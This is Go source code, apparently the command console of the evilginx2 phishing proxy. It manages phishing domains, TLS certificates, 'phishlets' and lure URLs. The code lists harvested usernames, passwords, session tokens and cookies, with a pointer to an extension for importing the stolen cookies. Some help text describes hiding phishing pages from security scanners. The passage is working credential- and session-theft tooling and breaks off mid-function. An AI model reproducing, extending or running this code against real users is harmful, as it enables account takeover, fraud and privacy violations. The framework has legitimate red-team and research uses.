package core import ( "bufio" "crypto/rc4" "encoding/base64" "encoding/csv" "encoding/json" "fmt" "io" "io/ioutil" "math/rand" "net/url" "os" "path/filepath" "regexp" "sort" "strconv" "strings" "time" "github.com/kgretzky/evilginx2/database" "github.com/kgretzky/evilginx2/log" "github.com/kgretzky/evilginx2/parser" "github.com/chzyer/readline" "github.com/fatih/color" ) const ( DEFAULT_PROMPT = ": " LAYER_TOP = 1 ) type Terminal struct { rl *readline.Instance completer *readline.PrefixCompleter cfg *Config crt_db *CertDb p *HttpProxy db *database.Database hlp *Help developer bool } func NewTerminal(p *HttpProxy, cfg *Config, crt_db *CertDb, db *database.Database, developer bool) (*Terminal, error) { var err error t := &Terminal{ cfg: cfg, crt_db: crt_db, p: p, db: db, developer: developer, } t.createHelp() t.completer = t.hlp.GetPrefixCompleter(LAYER_TOP) t.rl, err = readline.NewEx(&readline.Config{ Prompt: DEFAULT_PROMPT, AutoComplete: t.completer, InterruptPrompt: "^C", EOFPrompt: "exit", FuncFilterInputRune: t.filterInput, }) if err != nil { return nil, err } return t, nil } func (t *Terminal) Close() { t.rl.Close() } func (t *Terminal) output(s string, args ...interface{}) { out := fmt.Sprintf(s, args...) fmt.Fprintf(color.Output, "\n%s\n", out) } func (t *Terminal) DoWork() { var do_quit = false t.checkStatus() log.SetReadline(t.rl) t.cfg.refreshActiveHostnames() t.manageCertificates(true) t.output("%s", t.sprintPhishletStatus("")) go t.monitorLurePause() for !do_quit { line, err := t.rl.Readline() if err == readline.ErrInterrupt { log.Info("type 'exit' in order to quit") continue } else if err == io.EOF { break } line = strings.TrimSpace(line) args, err := parser.Parse(line) if err != nil { log.Error("syntax error: %v", err) } argn := len(args) if argn == 0 { t.checkStatus() continue } cmd_ok := false switch args[0] { case "clear": cmd_ok = true readline.ClearScreen(color.Output) case "config": cmd_ok = true err := t.handleConfig(args[1:]) if err != nil { log.Error("config: %v", err) } case "proxy": cmd_ok = true err := t.handleProxy(args[1:]) if err != nil { log.Error("proxy: %v", err) } case "sessions": cmd_ok = true err := t.handleSessions(args[1:]) if err != nil { log.Error("sessions: %v", err) } case "phishlets": cmd_ok = true err := t.handlePhishlets(args[1:]) if err != nil { log.Error("phishlets: %v", err) } case "lures": cmd_ok = true err := t.handleLures(args[1:]) if err != nil { log.Error("lures: %v", err) } case "blacklist": cmd_ok = true err := t.handleBlacklist(args[1:]) if err != nil { log.Error("blacklist: %v", err) } case "test-certs": cmd_ok = true t.manageCertificates(true) case "help": cmd_ok = true if len(args) == 2 { if err := t.hlp.PrintBrief(args[1]); err != nil { log.Error("help: %v", err) } } else { t.hlp.Print(0) } case "q", "quit", "exit": do_quit = true cmd_ok = true default: log.Error("unknown command: %s", args[0]) cmd_ok = true } if !cmd_ok { log.Error("invalid syntax: %s", line) } t.checkStatus() } } func (t *Terminal) handleConfig(args []string) error { pn := len(args) if pn == 0 { autocertOnOff := "off" if t.cfg.IsAutocertEnabled() { autocertOnOff = "on" } gophishInsecure := "false" if t.cfg.GetGoPhishInsecureTLS() { gophishInsecure = "true" } keys := []string{"domain", "external_ipv4", "bind_ipv4", "https_port", "dns_port", "unauth_url", "autocert", "gophish admin_url", "gophish api_key", "gophish insecure"} vals := []string{t.cfg.general.Domain, t.cfg.general.ExternalIpv4, t.cfg.general.BindIpv4, strconv.Itoa(t.cfg.general.HttpsPort), strconv.Itoa(t.cfg.general.DnsPort), t.cfg.general.UnauthUrl, autocertOnOff, t.cfg.GetGoPhishAdminUrl(), t.cfg.GetGoPhishApiKey(), gophishInsecure} log.Printf("\n%s\n", AsRows(keys, vals)) return nil } else if pn == 2 { switch args[0] { case "domain": t.cfg.SetBaseDomain(args[1]) t.cfg.ResetAllSites() t.manageCertificates(false) return nil case "ipv4": t.cfg.SetServerExternalIP(args[1]) return nil case "unauth_url": if len(args[1]) > 0 { _, err := url.ParseRequestURI(args[1]) if err != nil { return err } } t.cfg.SetUnauthUrl(args[1]) return nil case "autocert": switch args[1] { case "on": t.cfg.EnableAutocert(true) t.manageCertificates(true) return nil case "off": t.cfg.EnableAutocert(false) t.manageCertificates(true) return nil } case "gophish": switch args[1] { case "test": t.p.gophish.Setup(t.cfg.GetGoPhishAdminUrl(), t.cfg.GetGoPhishApiKey(), t.cfg.GetGoPhishInsecureTLS()) err := t.p.gophish.Test() if err != nil { log.Error("gophish: %s", err) } else { log.Success("gophish: connection successful") } return nil } } } else if pn == 3 { switch args[0] { case "ipv4": switch args[1] { case "external": t.cfg.SetServerExternalIP(args[2]) return nil case "bind": t.cfg.SetServerBindIP(args[2]) return nil } case "gophish": switch args[1] { case "admin_url": t.cfg.SetGoPhishAdminUrl(args[2]) return nil case "api_key": t.cfg.SetGoPhishApiKey(args[2]) return nil case "insecure": switch args[2] { case "true": t.cfg.SetGoPhishInsecureTLS(true) return nil case "false": t.cfg.SetGoPhishInsecureTLS(false) return nil } } } } return fmt.Errorf("invalid syntax: %s", args) } func (t *Terminal) handleBlacklist(args []string) error { pn := len(args) if pn == 0 { mode := t.cfg.GetBlacklistMode() ip_num, mask_num := t.p.bl.GetStats() log.Info("blacklist mode set to: %s", mode) log.Info("blacklist: loaded %d ip addresses and %d ip masks", ip_num, mask_num) return nil } else if pn == 1 { switch args[0] { case "all": t.cfg.SetBlacklistMode(args[0]) return nil case "unauth": t.cfg.SetBlacklistMode(args[0]) return nil case "noadd": t.cfg.SetBlacklistMode(args[0]) return nil case "off": t.cfg.SetBlacklistMode(args[0]) return nil } } else if pn == 2 { switch args[0] { case "log": switch args[1] { case "on": t.p.bl.SetVerbose(true) log.Info("blacklist log output: enabled") return nil case "off": t.p.bl.SetVerbose(false) log.Info("blacklist log output: disabled") return nil } } } return fmt.Errorf("invalid syntax: %s", args) } func (t *Terminal) handleProxy(args []string) error { pn := len(args) if pn == 0 { var proxy_enabled string = "no" if t.cfg.proxyConfig.Enabled { proxy_enabled = "yes" } keys := []string{"enabled", "type", "address", "port", "username", "password"} vals := []string{proxy_enabled, t.cfg.proxyConfig.Type, t.cfg.proxyConfig.Address, strconv.Itoa(t.cfg.proxyConfig.Port), t.cfg.proxyConfig.Username, t.cfg.proxyConfig.Password} log.Printf("\n%s\n", AsRows(keys, vals)) return nil } else if pn == 1 { switch args[0] { case "enable": err := t.p.setProxy(true, t.p.cfg.proxyConfig.Type, t.p.cfg.proxyConfig.Address, t.p.cfg.proxyConfig.Port, t.p.cfg.proxyConfig.Username, t.p.cfg.proxyConfig.Password) if err != nil { return err } t.cfg.EnableProxy(true) log.Important("you need to restart evilginx for the changes to take effect!") return nil case "disable": err := t.p.setProxy(false, t.p.cfg.proxyConfig.Type, t.p.cfg.proxyConfig.Address, t.p.cfg.proxyConfig.Port, t.p.cfg.proxyConfig.Username, t.p.cfg.proxyConfig.Password) if err != nil { return err } t.cfg.EnableProxy(false) return nil } } else if pn == 2 { switch args[0] { case "type": if t.cfg.proxyConfig.Enabled { return fmt.Errorf("please disable the proxy before making changes to its configuration") } t.cfg.SetProxyType(args[1]) return nil case "address": if t.cfg.proxyConfig.Enabled { return fmt.Errorf("please disable the proxy before making changes to its configuration") } t.cfg.SetProxyAddress(args[1]) return nil case "port": if t.cfg.proxyConfig.Enabled { return fmt.Errorf("please disable the proxy before making changes to its configuration") } port, err := strconv.Atoi(args[1]) if err != nil { return err } t.cfg.SetProxyPort(port) return nil case "username": if t.cfg.proxyConfig.Enabled { return fmt.Errorf("please disable the proxy before making changes to its configuration") } t.cfg.SetProxyUsername(args[1]) return nil case "password": if t.cfg.proxyConfig.Enabled { return fmt.Errorf("please disable the proxy before making changes to its configuration") } t.cfg.SetProxyPassword(args[1]) return nil } } return fmt.Errorf("invalid syntax: %s", args) } func (t *Terminal) handleSessions(args []string) error { lblue := color.New(color.FgHiBlue) dgray := color.New(color.FgHiBlack) lgreen := color.New(color.FgHiGreen) yellow := color.New(color.FgYellow) lyellow := color.New(color.FgHiYellow) lred := color.New(color.FgHiRed) cyan := color.New(color.FgCyan) white := color.New(color.FgHiWhite) pn := len(args) if pn == 0 { cols := []string{"id", "phishlet", "username", "password", "tokens", "remote ip", "time"} sessions, err := t.db.ListSessions() if err != nil { return err } if len(sessions) == 0 { log.Info("no saved sessions found") return nil } var rows [][]string for _, s := range sessions { tcol := dgray.Sprintf("none") if len(s.CookieTokens) > 0 || len(s.BodyTokens) > 0 || len(s.HttpTokens) > 0 { tcol = lgreen.Sprintf("captured") } row := []string{strconv.Itoa(s.Id), lred.Sprintf(s.Phishlet), lblue.Sprintf(truncateString(s.Username, 24)), lblue.Sprintf(truncateString(s.Password, 24)), tcol, yellow.Sprintf(s.RemoteAddr), time.Unix(s.UpdateTime, 0).Format("2006-01-02 15:04")} rows = append(rows, row) } log.Printf("\n%s\n", AsTable(cols, rows)) return nil } else if pn == 1 { id, err := strconv.Atoi(args[0]) if err != nil { return err } sessions, err := t.db.ListSessions() if err != nil { return err } if len(sessions) == 0 { log.Info("no saved sessions found") return nil } s_found := false for _, s := range sessions { if s.Id == id { _, err := t.cfg.GetPhishlet(s.Phishlet) if err != nil { log.Error("%v", err) break } s_found = true tcol := dgray.Sprintf("empty") if len(s.CookieTokens) > 0 || len(s.BodyTokens) > 0 || len(s.HttpTokens) > 0 { tcol = lgreen.Sprintf("captured") } keys := []string{"id", "phishlet", "username", "password", "tokens", "landing url", "user-agent", "remote ip", "create time", "update time"} vals := []string{strconv.Itoa(s.Id), lred.Sprint(s.Phishlet), lblue.Sprint(s.Username), lblue.Sprint(s.Password), tcol, yellow.Sprint(s.LandingURL), dgray.Sprint(s.UserAgent), yellow.Sprint(s.RemoteAddr), dgray.Sprint(time.Unix(s.CreateTime, 0).Format("2006-01-02 15:04")), dgray.Sprint(time.Unix(s.UpdateTime, 0).Format("2006-01-02 15:04"))} log.Printf("\n%s\n", AsRows(keys, vals)) if len(s.Custom) > 0 { tkeys := []string{} tvals := []string{} for k, v := range s.Custom { tkeys = append(tkeys, k) tvals = append(tvals, cyan.Sprint(v)) } log.Printf("[ %s ]\n%s\n", white.Sprint("custom"), AsRows(tkeys, tvals)) } if len(s.CookieTokens) > 0 || len(s.BodyTokens) > 0 || len(s.HttpTokens) > 0 { if len(s.BodyTokens) > 0 || len(s.HttpTokens) > 0 { //var str_tokens string tkeys := []string{} tvals := []string{} for k, v := range s.BodyTokens { tkeys = append(tkeys, k) tvals = append(tvals, white.Sprint(v)) } for k, v := range s.HttpTokens { tkeys = append(tkeys, k) tvals = append(tvals, white.Sprint(v)) } log.Printf("[ %s ]\n%s\n", lgreen.Sprint("tokens"), AsRows(tkeys, tvals)) } if len(s.CookieTokens) > 0 { json_tokens := t.cookieTokensToJSON(s.CookieTokens) log.Printf("[ %s ]\n%s\n\n", lyellow.Sprint("cookies"), json_tokens) log.Printf("%s %s %s %s%s\n\n", dgray.Sprint("(use"), cyan.Sprint("StorageAce"), dgray.Sprint("extension to import the cookies:"), white.Sprint("https://chromewebstore.google.com/detail/storageace/cpbgcbmddckpmhfbdckeolkkhkjjmplo"), dgray.Sprint(")")) } } break } } if !s_found { return fmt.Errorf("id %d not found", id) } return nil } else if pn == 2 { switch args[0] { case "delete": if args[1] == "all" { sessions, err := t.db.ListSessions() if err != nil { return err } if len(sessions) == 0 { break } for _, s := range sessions { err = t.db.DeleteSessionById(s.Id) if err != nil { log.Warning("delete: %v", err) } else { log.Info("deleted session with ID: %d", s.Id) } } t.db.Flush() return nil } else { rc := strings.Split(args[1], ",") for _, pc := range rc { pc = strings.TrimSpace(pc) rd := strings.Split(pc, "-") if len(rd) == 2 { b_id, err := strconv.Atoi(strings.TrimSpace(rd[0])) if err != nil { log.Error("delete: %v", err) break } e_id, err := strconv.Atoi(strings.TrimSpace(rd[1])) if err != nil { log.Error("delete: %v", err) break } for i := b_id; i <= e_id; i++ { err = t.db.DeleteSessionById(i) if err != nil { log.Warning("delete: %v", err) } else { log.Info("deleted session with ID: %d", i) } } } else if len(rd) == 1 { b_id, err := strconv.Atoi(strings.TrimSpace(rd[0])) if err != nil { log.Error("delete: %v", err) break } err = t.db.DeleteSessionById(b_id) if err != nil { log.Warning("delete: %v", err) } else { log.Info("deleted session with ID: %d", b_id) } } } t.db.Flush() return nil } } } return fmt.Errorf("invalid syntax: %s", args) } func (t *Terminal) handlePhishlets(args []string) error { pn := len(args) if pn >= 3 && args[0] == "create" { pl, err := t.cfg.GetPhishlet(args[1]) if err == nil { params := make(map[string]string) var create_ok bool = true if pl.isTemplate { for n := 3; n < pn; n++ { val := args[n] sp := strings.Index(val, "=") if sp == -1 { return fmt.Errorf("set custom parameters for the child phishlet using format 'param1=value1 param2=value2'") } k := val[:sp] v := val[sp+1:] params[k] = v log.Info("adding parameter: %s='%s'", k, v) } } if create_ok { child_name := args[1] + ":" + args[2] err := t.cfg.AddSubPhishlet(child_name, args[1], params) if err != nil { log.Error("%v", err) } else { t.cfg.SaveSubPhishlets() log.Info("created child phishlet: %s", child_name) } } return nil } else { log.Error("%v", err) } } else if pn == 0 { t.output("%s", t.sprintPhishletStatus("")) return nil } else if pn == 1 { _, err := t.cfg.GetPhishlet(args[0]) if err == nil { t.output("%s", t.sprintPhishletStatus(args[0])) return nil } } else if pn == 2 { switch args[0] { case "delete": err := t.cfg.DeleteSubPhishlet(args[1]) if err != nil { log.Error("%v", err) return nil } t.cfg.SaveSubPhishlets() log.Info("deleted child phishlet: %s", args[1]) return nil case "enable": pl, err := t.cfg.GetPhishlet(args[1]) if err != nil { log.Error("%v", err) break } if pl.isTemplate { return fmt.Errorf("phishlet '%s' is a template - you have to 'create' child phishlet from it, with predefined parameters, before you can enable it.", args[1]) } err = t.cfg.SetSiteEnabled(args[1]) if err != nil { t.cfg.SetSiteDisabled(args[1]) return err } t.manageCertificates(true) return nil case "disable": err := t.cfg.SetSiteDisabled(args[1]) if err != nil { return err } t.manageCertificates(false) return nil case "hide": err := t.cfg.SetSiteHidden(args[1], true) if err != nil { return err } return nil case "unhide": err := t.cfg.SetSiteHidden(args[1], false) if err != nil { return err } return nil case "get-hosts": pl, err := t.cfg.GetPhishlet(args[1]) if err != nil { return err } bhost, ok := t.cfg.GetSiteDomain(pl.Name) if !ok || len(bhost) == 0 { return fmt.Errorf("no hostname set for phishlet '%s'", pl.Name) } out := "" hosts := pl.GetPhishHosts(false) for n, h := range hosts { if n > 0 { out += "\n" } out += t.cfg.GetServerExternalIP() + " " + h } t.output("%s\n", out) return nil } } else if pn == 3 { switch args[0] { case "hostname": _, err := t.cfg.GetPhishlet(args[1]) if err != nil { return err } if ok := t.cfg.SetSiteHostname(args[1], args[2]); ok { t.cfg.SetSiteDisabled(args[1]) t.manageCertificates(false) } return nil case "unauth_url": _, err := t.cfg.GetPhishlet(args[1]) if err != nil { return err } t.cfg.SetSiteUnauthUrl(args[1], args[2]) return nil } } return fmt.Errorf("invalid syntax: %s", args) } func (t *Terminal) handleLures(args []string) error { hiblue := color.New(color.FgHiBlue) yellow := color.New(color.FgYellow) higreen := color.New(color.FgHiGreen) green := color.New(color.FgGreen) //hiwhite := color.New(color.FgHiWhite) hcyan := color.New(color.FgHiCyan) cyan := color.New(color.FgCyan) dgray := color.New(color.FgHiBlack) white := color.New(color.FgHiWhite) pn := len(args) if pn == 0 { // list lures t.output("%s", t.sprintLures()) return nil } if pn > 0 { switch args[0] { case "create": if pn == 2 { _, err := t.cfg.GetPhishlet(args[1]) if err != nil { return err } l := &Lure{ Path: "/" + GenRandomString(8), Phishlet: args[1], } t.cfg.AddLure(args[1], l) log.Info("created lure with ID: %d", len(t.cfg.lures)-1) return nil } return fmt.Errorf("incorrect number of arguments") case "get-url": if pn >= 2 { l_id, err := strconv.Atoi(strings.TrimSpace(args[1])) if err != nil { return fmt.Errorf("get-url: %v", err) } l, err := t.cfg.GetLure(l_id) if err != nil { return fmt.Errorf("get-url: %v", err) } pl, err := t.cfg.GetPhishlet(l.Phishlet) if err != nil { return fmt.Errorf("get-url: %v", err) } bhost, ok := t.cfg.GetSiteDomain(pl.Name) if !ok || len(bhost) == 0 { return fmt.Errorf("no hostname set for phishlet '%s'", pl.Name) } var base_url string if l.Hostname != "" { base_url = "https://" + l.Hostname + l.Path } else { purl, err := pl.GetLureUrl(l.Path) if err != nil { return err } base_url = purl } var phish_urls []string var phish_params []map[string]string var out string params := url.Values{} if pn > 2 { if args[2] == "import" { if pn < 4 { return fmt.Errorf("get-url: no import path specified") } params_file := args[3] phish_urls, phish_params, err = t.importParamsFromFile(base_url, params_file) if err != nil { return fmt.Errorf("get_url: %v", err) } if pn >= 5 { if args[4] == "export" { if pn == 5 { return fmt.Errorf("get-url: no export path specified") } export_path := args[5] format := "text" if pn == 7 { format = args[6] } err = t.exportPhishUrls(export_path, phish_urls, phish_params, format) if err != nil { return fmt.Errorf("get-url: %v", err) } out = hiblue.Sprintf("exported %d phishing urls to file: %s\n", len(phish_urls), export_path) phish_urls = []string{} } else { return fmt.Errorf("get-url: expected 'export': %s", args[4]) } } } else { // params present for n := 2; n < pn; n++ { val := args[n] sp := strings.Index(val, "=") if sp == -1 { return fmt.Errorf("to set custom parameters for the phishing url, use format 'param1=value1 param2=value2'") } k := val[:sp] v := val[sp+1:] params.Add(k, v) log.Info("adding parameter: %s='%s'", k, v) } phish_urls = append(phish_urls, t.createPhishUrl(base_url, ¶ms)) } } else { phish_urls = append(phish_urls, t.createPhishUrl(base_url, ¶ms)) } for n, phish_url := range phish_urls { out += hiblue.Sprint(phish_url) var params_row string var params string if len(phish_params) > 0 { params_row := phish_params[n] m := 0 for k, v := range params_row { if m > 0 { params += " " } params += fmt.Sprintf("%s=\"%s\"", k, v) m += 1 } } if len(params_row) > 0 { out += " ; " + params } out += "\n" } t.output("%s", out) return nil } return fmt.Errorf("incorrect number of arguments") case "pause": if pn == 3 { l_id, err := strconv.Atoi(strings.TrimSpace(args[1])) if err != nil { return fmt.Errorf("pause: %v", err) } l, err := t.cfg.GetLure(l_id) if err != nil { return fmt.Errorf("pause: %v", err) } s_duration := args[2] t_dur, err := ParseDurationString(s_duration) if err != nil { return fmt.Errorf("pause: %v", err) } t_now := time.Now() log.Info("current time: %s", t_now.Format("2006-01-02 15:04:05")) log.Info("unpauses at: %s", t_now.Add(t_dur).Format("2006-01-02 15:04:05")) l.PausedUntil = t_now.Add(t_dur).Unix() err = t.cfg.SetLure(l_id, l) if err != nil { return fmt.Errorf("edit: %v", err) } return nil } case "unpause": if pn == 2 { l_id, err := strconv.Atoi(strings.TrimSpace(args[1])) if err != nil { return fmt.Errorf("pause: %v", err) } l, err := t.cfg.GetLure(l_id) if err != nil { return fmt.Errorf("pause: %v", err) } log.Info("lure for phishlet '%s' unpaused", l.Phishlet) l.PausedUntil = 0 err = t.cfg.SetLure(l_id, l) if err != nil { return fmt.Errorf("edit: %v", err) } return nil } case "edit": if pn == 4 { l_id, err := strconv.Atoi(strings.TrimSpace(args[1])) if err != nil { return fmt.Errorf("edit: %v", err) } l, err := t.cfg.GetLure(l_id) if err != nil { return fmt.Errorf("edit: %v", err) } val := args[3] do_update := false switch args[2] { case "hostname": if val != "" { val = strings.ToLower(val) if val != t.cfg.general.Domain && !strings.HasSuffix(val, "."+t.cfg.general.Domain) { return fmt.Errorf("edit: lure hostname must end with the base domain '%s'", t.cfg.general.Domain) } host_re := regexp.MustCompile(`^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\-]*[A-Za-z0-9])$`) if !host_re.MatchString(val) { return fmt.Errorf("edit: invalid hostname") } l.Hostname = val t.cfg.refreshActiveHostnames() t.manageCertificates(true) } else { l.Hostname = "" } do_update = true log.Info("hostname = '%s'", l.Hostname) case "path": if val != "" { u, err := url.Parse(val) if err != nil { return fmt.Errorf("edit: %v", err) } l.Path = u.EscapedPath() if len(l.Path) == 0 || l.Path[0] != '/' { l.Path = "/" + l.Path } } else { l.Path = "/" } do_update = true log.Info("path = '%s'", l.Path) case "redirect_url": if val != "" { u, err := url.Parse(val) if err != nil { return fmt.Errorf("edit: %v", err) } if !u.IsAbs() { return fmt.Errorf("edit: redirect url must be absolute") } l.RedirectUrl = u.String() } else { l.RedirectUrl = "" } do_update = true log.Info("redirect_url = '%s'", l.RedirectUrl) case "phishlet": _, err := t.cfg.GetPhishlet(val) if err != nil { return fmt.Errorf("edit: %v", err) } l.Phishlet = val do_update = true log.Info("phishlet = '%s'", l.Phishlet) case "info": l.Info = val do_update = true log.Info("info = '%s'", l.Info) case "og_title": l.OgTitle = val do_update = true log.Info("og_title = '%s'", l.OgTitle) case "og_desc": l.OgDescription = val do_update = true log.Info("og_desc = '%s'", l.OgDescription) case "og_image": if val != "" { u, err := url.Parse(val) if err != nil { return fmt.Errorf("edit: %v", err) } if !u.IsAbs() { return fmt.Errorf("edit: image url must be absolute") } l.OgImageUrl = u.String() } else { l.OgImageUrl = "" } do_update = true log.Info("og_image = '%s'", l.OgImageUrl) case "og_url": if val != "" { u, err := url.Parse(val) if err != nil { return fmt.Errorf("edit: %v", err) } if !u.IsAbs() { return fmt.Errorf("edit: site url must be absolute") } l.OgUrl = u.String() } else { l.OgUrl = "" } do_update = true log.Info("og_url = '%s'", l.OgUrl) case "redirector": if val != "" { path := val if !filepath.IsAbs(val) { redirectors_dir := t.cfg.GetRedirectorsDir() path = filepath.Join(redirectors_dir, val) } if _, err := os.Stat(path); !os.IsNotExist(err) { l.Redirector = val } else { return fmt.Errorf("edit: redirector directory does not exist: %s", path) } } else { l.Redirector = "" } do_update = true log.Info("redirector = '%s'", l.Redirector) case "ua_filter": if val != "" { if _, err := regexp.Compile(val); err != nil { return err } l.UserAgentFilter = val } else { l.UserAgentFilter = "" } do_update = true log.Info("ua_filter = '%s'", l.UserAgentFilter) } if do_update { err := t.cfg.SetLure(l_id, l) if err != nil { return fmt.Errorf("edit: %v", err) } return nil } } else { return fmt.Errorf("incorrect number of arguments") } case "delete": if pn == 2 { if len(t.cfg.lures) == 0 { break } if args[1] == "all" { di := []int{} for n := range t.cfg.lures { di = append(di, n) } if len(di) > 0 { rdi := t.cfg.DeleteLures(di) for _, id := range rdi { log.Info("deleted lure with ID: %d", id) } } return nil } else { rc := strings.Split(args[1], ",") di := []int{} for _, pc := range rc { pc = strings.TrimSpace(pc) rd := strings.Split(pc, "-") if len(rd) == 2 { b_id, err := strconv.Atoi(strings.TrimSpace(rd[0])) if err != nil { return fmt.Errorf("delete: %v", err) } e_id, err := strconv.Atoi(strings.TrimSpace(rd[1])) if err != nil { return fmt.Errorf("delete: %v", err) } for i := b_id; i <= e_id; i++ { di = append(di, i) } } else if len(rd) == 1 { b_id, err := strconv.Atoi(strings.TrimSpace(rd[0])) if err != nil { return fmt.Errorf("delete: %v", err) } di = append(di, b_id) } } if len(di) > 0 { rdi := t.cfg.DeleteLures(di) for _, id := range rdi { log.Info("deleted lure with ID: %d", id) } } return nil } } return fmt.Errorf("incorrect number of arguments") default: id, err := strconv.Atoi(args[0]) if err != nil { return err } l, err := t.cfg.GetLure(id) if err != nil { return err } var s_paused string = higreen.Sprint(GetDurationString(time.Now(), time.Unix(l.PausedUntil, 0))) keys := []string{"phishlet", "hostname", "path", "redirector", "ua_filter", "redirect_url", "paused", "info", "og_title", "og_desc", "og_image", "og_url"} vals := []string{hiblue.Sprint(l.Phishlet), cyan.Sprint(l.Hostname), hcyan.Sprint(l.Path), white.Sprint(l.Redirector), green.Sprint(l.UserAgentFilter), yellow.Sprint(l.RedirectUrl), s_paused, l.Info, dgray.Sprint(l.OgTitle), dgray.Sprint(l.OgDescription), dgray.Sprint(l.OgImageUrl), dgray.Sprint(l.OgUrl)} log.Printf("\n%s\n", AsRows(keys, vals)) return nil } } return fmt.Errorf("invalid syntax: %s", args) } func (t *Terminal) monitorLurePause() { var pausedLures map[string]int64 pausedLures = make(map[string]int64) for { t_cur := time.Now() for n, l := range t.cfg.lures { if l.PausedUntil > 0 { l_id := t.cfg.lureIds[n] t_pause := time.Unix(l.PausedUntil, 0) if t_pause.After(t_cur) { pausedLures[l_id] = l.PausedUntil } else { if _, ok := pausedLures[l_id]; ok { log.Info("[%s] lure (%d) is now active", l.Phishlet, n) } pausedLures[l_id] = 0 l.PausedUntil = 0 } } } time.Sleep(500 * time.Millisecond) } } func (t *Terminal) createHelp() { h, _ := NewHelp() h.AddCommand("config", "general", "manage general configuration", "Shows values of all configuration variables and allows to change them.", LAYER_TOP, readline.PcItem("config", readline.PcItem("domain"), readline.PcItem("ipv4", readline.PcItem("external"), readline.PcItem("bind")), readline.PcItem("unauth_url"), readline.PcItem("autocert", readline.PcItem("on"), readline.PcItem("off")), readline.PcItem("gophish", readline.PcItem("admin_url"), readline.PcItem("api_key"), readline.PcItem("insecure", readline.PcItem("true"), readline.PcItem("false")), readline.PcItem("test")))) h.AddSubCommand("config", nil, "", "show all configuration variables") h.AddSubCommand("config", []string{"domain"}, "domain ", "set base domain for all phishlets (e.g. evilsite.com)") h.AddSubCommand("config", []string{"ipv4"}, "ipv4 ", "set ipv4 external address of the current server") h.AddSubCommand("config", []string{"ipv4", "external"}, "ipv4 external ", "set ipv4 external address of the current server") h.AddSubCommand("config", []string{"ipv4", "bind"}, "ipv4 bind ", "set ipv4 bind address of the current server") h.AddSubCommand("config", []string{"unauth_url"}, "unauth_url ", "change the url where all unauthorized requests will be redirected to") h.AddSubCommand("config", []string{"autocert"}, "autocert ", "enable or disable the automated certificate retrieval from letsencrypt") h.AddSubCommand("config", []string{"gophish", "admin_url"}, "gophish admin_url ", "set up the admin url of a gophish instance to communicate with (e.g. https://gophish.domain.com:7777)") h.AddSubCommand("config", []string{"gophish", "api_key"}, "gophish api_key ", "set up the api key for the gophish instance to communicate with") h.AddSubCommand("config", []string{"gophish", "insecure"}, "gophish insecure ", "enable or disable the verification of gophish tls certificate (set to `true` if using self-signed certificate)") h.AddSubCommand("config", []string{"gophish", "test"}, "gophish test", "test the gophish configuration") h.AddCommand("proxy", "general", "manage proxy configuration", "Configures proxy which will be used to proxy the connection to remote website", LAYER_TOP, readline.PcItem("proxy", readline.PcItem("enable"), readline.PcItem("disable"), readline.PcItem("type"), readline.PcItem("address"), readline.PcItem("port"), readline.PcItem("username"), readline.PcItem("password"))) h.AddSubCommand("proxy", nil, "", "show all configuration variables") h.AddSubCommand("proxy", []string{"enable"}, "enable", "enable proxy") h.AddSubCommand("proxy", []string{"disable"}, "disable", "disable proxy") h.AddSubCommand("proxy", []string{"type"}, "type ", "set proxy type: http (default), https, socks5, socks5h") h.AddSubCommand("proxy", []string{"address"}, "address
", "set proxy address") h.AddSubCommand("proxy", []string{"port"}, "port ", "set proxy port") h.AddSubCommand("proxy", []string{"username"}, "username ", "set proxy authentication username") h.AddSubCommand("proxy", []string{"password"}, "password ", "set proxy authentication password") h.AddCommand("phishlets", "general", "manage phishlets configuration", "Shows status of all available phishlets and allows to change their parameters and enabled status.", LAYER_TOP, readline.PcItem("phishlets", readline.PcItem("create", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("delete", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("hostname", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("enable", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("disable", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("hide", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("unhide", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("get-hosts", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("unauth_url", readline.PcItemDynamic(t.phishletPrefixCompleter)))) h.AddSubCommand("phishlets", nil, "", "show status of all available phishlets") h.AddSubCommand("phishlets", nil, "", "show details of a specific phishlets") h.AddSubCommand("phishlets", []string{"create"}, "create ", "create child phishlet from a template phishlet with custom parameters") h.AddSubCommand("phishlets", []string{"delete"}, "delete ", "delete child phishlet") h.AddSubCommand("phishlets", []string{"hostname"}, "hostname ", "set hostname for given phishlet (e.g. this.is.not.a.phishing.site.evilsite.com)") h.AddSubCommand("phishlets", []string{"unauth_url"}, "unauth_url ", "override global unauth_url just for this phishlet") h.AddSubCommand("phishlets", []string{"enable"}, "enable ", "enables phishlet and requests ssl/tls certificate if needed") h.AddSubCommand("phishlets", []string{"disable"}, "disable ", "disables phishlet") h.AddSubCommand("phishlets", []string{"hide"}, "hide ", "hides the phishing page, logging and redirecting all requests to it (good for avoiding scanners when sending out phishing links)") h.AddSubCommand("phishlets", []string{"unhide"}, "unhide ", "makes the phishing page available and reachable from the outside") h.AddSubCommand("phishlets", []string{"get-hosts"}, "get-hosts ", "generates entries for hosts file in order to use localhost for testing") h.AddCommand("sessions", "general", "manage sessions and captured tokens with credentials", "Shows all captured credentials and authentication tokens. Allows to view full history of visits and delete logged sessions.", LAYER_TOP, readline.PcItem("sessions", readline.PcItem("delete", readline.PcItem("all")))) h.AddSubCommand("sessions", nil, "", "show history of all logged visits and captured credentials") h.AddSubCommand("sessions", nil, "", "show session details, including captured authentication tokens, if available") h.AddSubCommand("sessions", []string{"delete"}, "delete ", "delete logged session with (ranges with separators are allowed e.g. 1-7,10-12,15-25)") h.AddSubCommand("sessions", []string{"delete", "all"}, "delete all", "delete all logged sessions") h.AddCommand("lures", "general", "manage lures for generation of phishing urls", "Shows all create lures and allows to edit or delete them.", LAYER_TOP, readline.PcItem("lures", readline.PcItem("create", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("get-url"), readline.PcItem("pause"), readline.PcItem("unpause"), readline.PcItem("edit", readline.PcItemDynamic(t.luresIdPrefixCompleter, readline.PcItem("hostname"), readline.PcItem("path"), readline.PcItem("redirect_url"), 